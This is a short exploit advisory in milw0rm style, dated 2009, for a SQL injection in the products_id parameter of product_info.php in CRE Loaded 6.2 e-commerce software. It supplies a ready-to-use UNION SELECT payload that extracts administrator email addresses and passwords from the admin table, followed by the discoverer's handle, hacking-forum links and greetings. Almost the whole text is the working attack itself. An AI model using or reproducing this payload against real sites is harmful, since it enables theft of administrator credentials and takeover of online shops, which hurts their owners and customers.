CRE Loaded 6.2 (products_id) SQL Injection Vulnerability

[+]-------------------------------------[+] [+] Homepage: http://www.creloaded.com/ [+] Product: CRE Loaded v6.2 [+] File: product_info.php [+] Parameter: product_id [+]-------------------------------------[+] [+] SQL Injection: [+] product_info.php?products_id=-1+union+select+1,concat_ws(0x203a20,admin_email_address,admin_password)+from+admin-- [+]-------------------------------------[+] [+] Discovered by -=Player=- [+] http://NovuSec.com [+] http://Free-Hack.com [+]-------------------------------------[+] [+] Greetz to : [+] Lidloses_Auge, Suicide, enco, J0hn.X3r, Dexx, 2called-chaos, xant0x [+]-------------------------------------[+] # milw0rm.com [2009-04-21]